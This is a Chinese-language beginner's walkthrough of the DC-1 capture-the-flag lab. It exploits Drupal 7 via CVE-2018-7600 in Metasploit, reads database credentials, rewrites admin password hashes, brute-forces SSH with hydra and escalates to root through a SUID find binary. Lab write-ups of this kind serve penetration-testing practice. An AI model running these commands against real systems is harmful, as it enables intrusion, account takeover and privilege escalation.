新手的第一次DC-1靶场渗透实战过程
新手的第一次DC-1靶场渗透实战过程
一、环境搭建
1.准备工具
渗透工具kali
可以参考下面链接进行安装
Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版
靶机下载
将下载好的安装包解压 得到 DC-1.ova

打开虚拟机

选择我们刚刚解压好的文件 点击打开

设置好名称选择你要安装的路径

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并耐心等待

出现这个界面代表开启成功,这里要把靶机和kali的网络链接模式改为桥接或者NAT模式,让靶机和kali处于同一网段,这样kali才能收集到靶机的ip地址
“桥接”和“NAT”方式区别 想知道桥接和nat模式的区别可以点击这个链接

二、开始渗透
1.信息搜集
探测目标IP
打开kali 对靶机ip地址进行探测
我们这里使用nmap 对我们网段进行扫描
- nmap
nmap -sP 192.168.162.1/24 -exclude 192.168.162.1 192.168.162.128
这条命令的作用是使用nmap 扫描当前网段存活的主机 只扫描存活不扫码端口
-exclude是排除这两个ip地址不进行扫描
一个192.168.162.1是我的主机ip 另外一个192.168.162.128是我kali的ip地址

可以看到我的主机上面新增了一个192.168.162.140的IP地址 这是00:0C:29:18:AA:B5它的mac地址 我们打开DC靶机的Mac地址看看
虚拟机 -> 设置 -> 网络适配器 -> 高级
可以看到DC靶机的MAC地址和192.168.162.140的地址一模一样 由此可以确定 这个ip地址就是DC靶机的
探测目标IP开放端口
使用nmap
nmap -sV -p- 192.168.162.140
-sV 扫描目标主机端口上运行的软件信息
-p- 扫描全部端口0-65535

查看网页信息
可以看到 DC靶机开放了80端口 http协议 这里我们用浏览器访问一下

我们使用插件 Wappalyzer可以看到网站的相关信息 可以看到这个网站的CMS是Drupal 7
我们将Drupal放到浏览器里面搜索看看有没有相关漏洞 可以看到是存在相关漏洞的
2.漏洞查看和利用
通过上面的搜索可以看到Drupal在2018年暴出一个关于远程代码的执行漏洞 我们将漏洞编号 CVE-2018-7600放到msfconsole里面进行搜索 可以看到给出了响应工具模块 我们这里使用这个模块

search CVE-2018-7600 查找漏洞
use 0 使用攻击模块

使用 show options 查看当前模块需要填写哪些参数
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容

设置我们的rhosts参数 (rhosts就是设置你要攻击的IP地址 这里为DC靶机)
- set rhosts 192.168.162.140

设置好参数后就可以进行攻击了 这里使用exploit和run都可以
当出现meterpreter已经攻击成功了 接下来我们可以直接上shell

3.GET shell
在这里输入获得普通shell
为了看的更加方便点 这里我们使用交互式shell 使用的前提是对方主机上面必须装有python
python -c 'import pty; pty.spawn("/bin/bash")'

使用ls查看当前目录下有哪些文件
ls

发现这个有个flag.txt 使用cat命令查看一下
cat flag1.txt

上面写道 一个好的CMS需要有一个好的配置文件 这里在提示我们去查看Drupal的配置文件
通过浏览器知道 Drupal的配置文件是setting.php它在sites/default下面

我们进入目录

查看当前目录下的配置文件

使用命令 tac settings.php查看文件内容
tac命令用于反向显示文件内容(与cat命令相反)

4.数据库利用
我们上面分别拿到了mysql的和用户密码 这里登录查看
mysql -udbuser -pR0ck3t

查询数据库 show databases;
- MySQL以分号(
;)作为语句结束符。如果用户未在SHOW DATABASES后输入分号,MySQL会认为语句未完成,提示符变为->,等待继续输入。此时输入后续命令(如sdf)会被视为同一语句的一部分,导致语法错误。若误输入导致提示符变为->,可通过输入;执行当前语句,或输入\c取消当前输入- 如果提示符出现 ‘’或**'
>说明当前语句并没有闭环 还在继续构造 如果想要结束语句 可以先用 **' 或者 ‘’ 闭=闭合语句 然后再使用\c取消当前输入
看到了drupaldb的数据库了 我们这边再使用命令查询 看看这个数据库下面的表
use drupaldb; show tables;
user 表通常存储着用户的基本信息 这边我们继续查询
select * from users;
可以看到 这里存储这两个用户 一个admin 另外一个 Fred 已经用户对应的经过加密的密码 (因为我这里提前改过了所以我的两个用户的加密密码是一样的)
正常应该是是
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码好复杂 没有办法破解 想登录后台 只能通过去修改admin密码或者新加一个admin
参考了这个文章 可以看到 在Drupal的根目录下面 输入
- php scripts/password-hash.sh [新密码 例:admin]
输出:
password: admin hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA
可以生成admin 对应的加密值
我们回到 /var/www目录下
输入 php scripts/password-hash.sh 123456
复制加密后的密码 回到数据库 更新数据库里面的账户密码

5.更新数据库
回到我们的数据库 输入命令
mysql -udbuser -pR0ck3t;
use drupaldb;update users set pass = "$S$D5QS1LK/40tSqD3k8EThDUZPK6uMOxH8stg5d2XlemkXEMU1qLiI" where name = 'admin' or name = 'Fred';

再查看我们的数据库密码是否修改成功
use drupaldb;select * from users;

可以看到两个账户的密码分别已经修改完成
现在登录我们的网页查看是什么妖魔鬼怪

点击 context ->flag3 便可以看到flag3里面的内容了
翻译了一下 这句话的意思是通过特殊权限(如SUID)使用find命令,并利用其-exec选项执行命令,从而提升权限,最终获取shadow文件中的敏感信息。这通常是在渗透测试中用于权限提升的一种方法。

/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
etc/shadow
Linux /etc/shadow(影子文件)内容解析(超详细)
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
我们查看一下用户信息
- cat /etc/passwd

我们看到 这里还有一个用户flag4 但是我们不知道它的密码
这里有两个方法 一个是提取 另外一个就是爆破
4.用户密码爆破
我们使用ssh的方式登录 现在我们知道了账户但是还不知道密码
详情可以参考这个文章 登录非常简单,只需要一条命令,命令格式为: ssh 客户端用户名@服务器ip地址
- ssh ldz@192.168.0.1
这里我们使用hydra工具来爆破flag4的密码
- hydra 192.168.162.140 ssh -l flag4 -P /usr/share/wordlists/rockyou.txt.gz -t 16 -Vv -f

爆破出来密码是orange 这边使用ssh进行登录

可以看到已经登录成功了 这边查看一下flag4用户下面有什文件

看到关于flag4.txt 查看

翻译了一下 这段话是提示用户通过SUID提权(尤其是利用find命令)获取root权限,进而访问根目录下的flag文件
5.Linux提权
需要用到SUID提权,参考
利用find命令,找查具有SUID权限的可执行二进制文件
- find / -perm -u=s -type f 2>/dev/null

这里我们利用find命令/usr/bin/find 具有SUID权限,
- find / -name index.php -exec "/bin/sh" ;
文件不重要(但是是存在的文件),只需要格式对,然后后面加上
-exec "/bin/sh" ; 可直接提权到root

使用 cat *便可以查看剩下的flag了

这里感谢大佬的分享让我受益匪浅 文章参考

浙公网安备 33010602011771号